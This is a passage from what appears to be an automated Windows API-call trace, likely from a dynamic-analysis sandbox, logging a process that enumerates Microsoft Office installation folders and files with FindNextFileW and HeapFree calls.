ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0095.445] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0095.445] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0096.255] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0096.255] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0096.260] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0096.260] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0096.867] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e88 | out: hHeap=0x440000) returned 1 [0096.868] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0096.871] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0096.871] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0096.871] FindClose (in: hFindFile=0x42605d0 | out: hFindFile=0x42605d0) returned 1 [0097.524] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e88 | out: hHeap=0x440000) returned 1 [0097.524] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0097.524] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0097.525] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e80 | out: hHeap=0x440000) returned 1 [0097.525] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0097.528] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e88 | out: hHeap=0x440000) returned 1 [0097.528] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0097.533] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e88 | out: hHeap=0x440000) returned 1 [0097.533] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0097.536] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e88 | out: hHeap=0x440000) returned 1 [0097.536] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1 [0097.537] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e80 | out: hHeap=0x440000) returned 1 [0097.537] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1 [0097.541] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e80 | out: hHeap=0x440000) returned 1 [0097.541] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1 [0097.544] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e80 | out: hHeap=0x440000) returned 1 [0097.544] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0097.549] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e80 | out: hHeap=0x440000) returned 1 [0097.549] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1 [0098.398] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e80 | out: hHeap=0x440000) returned 1 [0098.398] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1 [0098.398] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0098.398] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1 [0098.409] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0098.409] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0098.410] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0098.410] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0098.410] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0098.410] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1 [0098.414] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0098.414] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0 [0098.414] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0098.414] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0098.414] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1 [0098.418] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0098.418] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0098.424] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0098.424] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0098.441] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0098.441] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0098.447] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0098.447] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0099.828] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0100.052] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1 [0100.135] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0100.135] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0100.136] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0100.137] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0100.138] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0100.138] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1 [0100.138] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0100.138] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0100.141] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0100.141] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0100.144] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0100.144] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1 [0100.148] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0100.148] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1 [0100.151] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0100.151] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1 [0100.157] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0100.157] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1 [0100.165] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0100.165] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1 [0100.168] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0100.168] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1 [0103.812] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.812] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1 [0103.814] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0103.814] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdeb94 | out: lpFindFileData=0x3cdeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, 